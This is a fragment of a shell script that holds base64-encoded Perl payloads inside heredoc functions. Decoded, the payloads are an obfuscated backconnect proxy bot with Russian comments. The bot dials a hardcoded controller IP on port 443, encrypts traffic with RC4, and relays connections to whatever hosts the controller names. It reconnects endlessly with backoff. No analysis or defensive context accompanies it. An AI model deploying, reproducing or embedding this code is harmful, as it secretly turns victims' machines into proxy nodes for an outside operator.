ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_50() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTgnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
